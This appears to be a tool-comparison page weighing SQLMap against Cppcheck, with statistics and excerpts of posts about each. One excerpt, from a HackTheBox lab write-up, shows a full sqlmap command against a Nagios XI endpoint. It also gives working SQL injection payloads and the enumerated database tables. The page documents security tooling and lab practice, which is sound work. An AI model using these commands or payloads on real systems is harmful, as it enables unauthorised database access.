SQLMap
Automatic SQL injection and database takeover tool (by sqlmapproject)
Cppcheck
static analysis of C/C++ code (by danmar)
SQLMap | Cppcheck | |
---|---|---|
41 | 11 | |
31,024 | 5,526 | |
1.5% | - | |
8.7 | 9.9 | |
7 days ago | 7 days ago | |
Python | C++ | |
GNU General Public License v3.0 or later | GNU General Public License v3.0 only |
The number of mentions indicates the total number of mentions that we've tracked plus the number of user suggested alternatives.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
SQLMap
Posts with mentions or reviews of SQLMap.
We have used some of these posts to build our list of alternatives
and similar projects. The last one was on 2024-06-02.
-
HackTheBox - Writeup Monitored [Retired]
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/monitored] └─# sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=c035f0bb3bbb9f6230d99675fdbf21941386e525" --batch --tables ___ __H__ ___ ___["]_____ ___ ___ {1.7.9.2#dev} |_ -| . ["] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org ... it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] Y [14:34:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [14:34:05] [WARNING] GET parameter 'action' does not seem to be injectable [14:34:05] [INFO] testing if GET parameter 'id' is dynamic [14:34:06] [WARNING] GET parameter 'id' does not appear to be dynamic [14:34:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [14:34:07] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [14:34:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [14:34:08] [WARNING] reflective value(s) found and filtering out [14:34:16] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [14:34:18] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --not-string="row") [14:34:18] [INFO] testing 'Generic inline queries' [14:34:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [14:34:20] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [14:34:21] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [14:34:22] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [14:34:22] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [14:34:23] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [14:34:24] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [14:34:25] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [14:34:26] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [14:34:26] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [14:34:27] [INFO] GET parameter 'id' is 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [14:34:27] [INFO] testing 'MySQL inline queries' ... ... [14:34:46] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable ... GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N sqlmap identified the following injection point(s) with a total of 271 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: Boolean-based blind - Parameter replace (original value) Payload: action=acknowledge_banner_message&id=(SELECT (CASE WHEN (7780=7780) THEN 3 ELSE (SELECT 8823 UNION SELECT 4738) END))&token=c035f0bb3bbb9f6230d99675fdbf21941386e525 Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: action=acknowledge_banner_message&id=3 OR (SELECT 6550 FROM(SELECT COUNT(*),CONCAT(0x7170626b71,(SELECT (ELT(6550=6550,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=acknowledge_banner_message&id=3 AND (SELECT 6899 FROM (SELECT(SLEEP(5)))agwy)&token=c035f0bb3bbb9f6230d99675fdbf21941386e525 --- [14:37:12] [INFO] the back-end DBMS is MySQL web server operating system: Linux Debian web application technology: Apache 2.4.56 back-end DBMS: MySQL >= 5.0 (MariaDB fork) ... Database: information_schema [82 tables] +---------------------------------------+ | ALL_PLUGINS | | APPLICABLE_ROLES | | CHARACTER_SETS | | CHECK_CONSTRAINTS | | CLIENT_STATISTICS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMN_PRIVILEGES | | ENABLED_ROLES | | FILES | | GEOMETRY_COLUMNS | | GLOBAL_STATUS | | GLOBAL_VARIABLES | | INDEX_STATISTICS | | INNODB_BUFFER_PAGE | | INNODB_BUFFER_PAGE_LRU | | INNODB_BUFFER_POOL_STATS | | INNODB_CMP | | INNODB_CMPMEM | | INNODB_CMPMEM_RESET | | INNODB_CMP_PER_INDEX | | INNODB_CMP_PER_INDEX_RESET | | INNODB_CMP_RESET | | INNODB_FT_BEING_DELETED | | INNODB_FT_CONFIG | | INNODB_FT_DEFAULT_STOPWORD | | INNODB_FT_DELETED | | INNODB_FT_INDEX_CACHE | | INNODB_FT_INDEX_TABLE | | INNODB_LOCKS | | INNODB_LOCK_WAITS | | INNODB_METRICS | | INNODB_MUTEXES | | INNODB_SYS_COLUMNS | | INNODB_SYS_DATAFILES | | INNODB_SYS_FIELDS | | INNODB_SYS_FOREIGN | | INNODB_SYS_FOREIGN_COLS | | INNODB_SYS_INDEXES | | INNODB_SYS_SEMAPHORE_WAITS | | INNODB_SYS_TABLES | | INNODB_SYS_TABLESPACES | | INNODB_SYS_TABLESTATS | | INNODB_SYS_VIRTUAL | | INNODB_TABLESPACES_ENCRYPTION | | INNODB_TRX | | KEYWORDS | | KEY_CACHES | | KEY_COLUMN_USAGE | | OPTIMIZER_TRACE | | PARAMETERS | | PROFILING | | REFERENTIAL_CONSTRAINTS | | ROUTINES | | SCHEMATA | | SCHEMA_PRIVILEGES | | SESSION_STATUS | | SESSION_VARIABLES | | SPATIAL_REF_SYS | | SQL_FUNCTIONS | | STATISTICS | | SYSTEM_VARIABLES | | TABLESPACES | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLE_STATISTICS | | THREAD_POOL_GROUPS | | THREAD_POOL_QUEUES | | THREAD_POOL_STATS | | THREAD_POOL_WAITS | | USER_PRIVILEGES | | USER_STATISTICS | | VIEWS | | COLUMNS | | ENGINES | | EVENTS | | PARTITIONS | | PLUGINS | | PROCESSLIST | | TABLES | | TRIGGERS | | user_variables | +---------------------------------------+ Database: nagiosxi [22 tables] +---------------------------------------+ | xi_auditlog | | xi_auth_tokens | | xi_banner_messages | | xi_cmp_ccm_backups | | xi_cmp_favorites | | xi_cmp_nagiosbpi_backups | | xi_cmp_scheduledreports_log | | xi_cmp_trapdata | | xi_cmp_trapdata_log | | xi_commands | | xi_deploy_agents | | xi_deploy_jobs | | xi_eventqueue | | xi_events | | xi_link_users_messages | | xi_meta | | xi_mibs | | xi_options | | xi_sessions | | xi_sysstat | | xi_usermeta | | xi_users | +---------------------------------------+ [14:40:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/nagios.monitored.htb'
-
Best Hacking Tools for Beginners 2024
sqlmap
-
Restful API Testing (my way) with Express, Maria DB, Docker Compose and Github Action
A few weeks ago, I took a short cyber security course on Udemy. SQL injection was a section of the course. I knew about the concept though, I hadn't tried it. I was planning to make a Restful API server and tried SQL injection using a tool sqlmap, which was introduced in the course. While I could have used existing server code, I decided to build one from scratch. It's been a while since I worked on a Restful API server, and I wanted to refresh my knowledge for learning purposes.
-
Is this sql query in django safe?
I recommend looking for an alternative or if you must do it this way test it with https://sqlmap.org to make sure you are not vulnerable to the lowest effort attacks.
-
Enhancing Code Quality and Security: Building a Rock-Solid CI Test Suite for Seamless Development
The DAST checks can be automated up to a certain point, where the code should be able to withstand certain scans and attacks. For eg. SQL Injections can be checked with sqlmap which tests with each and every type of sql injection payload and reports it back to the user.
-
👨🏻💻Securing Your Web Applications from SQL Injection with SQLMap
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
Are these good projects to have? (appsec)
Sounds good, why not try making a simple vulnerability scanner for APIs too? Maybe something similar to SQLMap
-
[GitHub Action]: Wrappers for sqlmap, bbot and nikto
Its not that much of a tool than wrappers of few awesome tools that most of you probably know and use today - sqlmap, bbot and nikto.
-
[GitHub Action][Release]: Add DAST and OSINT to your security pipelines
I'm excited to share with you my latest contributions to the GitHub community: a collection of free GitHub Actions designed to streamline and enhance security practices utilizing DAST and OSINT tooling that is widely used - sqlmap, bbot and nikto. There were no GH Actions that I could find, so I made them for my use case, but figured everyone can benefit from those awesome tools.
-
The 36 tools that SaaS can use to keep their product and data safe from criminal hackers (manual research)
SQLMap
Cppcheck
Posts with mentions or reviews of Cppcheck.
We have used some of these posts to build our list of alternatives
and similar projects. The last one was on 2024-03-04.
-
Configuring Cppcheck, Cpplint, and JSON Lint
I dedicated Sunday morning to going over the documentation of the linters we use in the project. The goal was to understand all options and use them in the best way for our project. Seeing their manuals side by side was nice because even very similar things are solved differently. Cppcheck is the most configurable and best documented; JSON Lint lies at the other end.
- Cppcheck/Releasenotes.txt
-
Enforcing Memory Safety?
Using infer, someone else exploited null-dereference checks to introduce simple affine types in C++. Cppcheck also checks for null-dereferences. Unfortunately, that approach means that borrow-counting references have a larger sizeof than non-borrow counting references, so optimizing the count away potentially changes the semantics of a program which introduces a whole new way of writing subtly wrong code.
-
Check out my tasks.json for C++ of VScode
Also check out (cppcheck)[https://github.com/danmar/cppcheck] if you want more static analysis
-
What are the must-have tools for any C++ developer?
My browser refuses to open that link. This is better: https://github.com/danmar/cppcheck
-
Awesome Penetration Testing
cppcheck - Extensible C/C++ static analyzer focused on finding bugs.
-
C/C++ pre-commit hooks for static analyzers and linters
and five C/C++ static code analyzers: * clang-tidy * oclint * cppcheck * cpplint (recently added!) * include-what-you-use (recently added!)
-
Caught signal 11 (SIGSEGV) and signal 6 (SIGABRT)
Start by feeding your codebase to a static analysis tool like cppcheck, to rule out obvious bound-checking mistakes in it.
- How to detect stack corruption in embedded c??
-
Why static analysis on C projects is not widespread already?
Cppcheck is free. I've previously used it with a C++ project.
What are some alternatives?
When comparing SQLMap and Cppcheck you can also consider the following projects:
nuclei - Fast and customizable vulnerability scanner based on simple YAML based DSL.
cpplint - Static code checker for C++
Metasploit - Metasploit Framework
gcc-poison - gcc-poison
setoolkit - The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
stb - stb single-file public domain libraries for C/C++
ZAP - The ZAP core project
American Fuzzy Lop - american fuzzy lop - a security-oriented fuzzer
commix - Automated All-in-One OS Command Injection Exploitation Tool.
c-smart-pointers - Smart pointers for the (GNU) C programming language
RustScan - 🤖 The Modern Port Scanner 🤖
cmake-lint - Fork of https://github.com/richq/cmake-lint to continue maintenance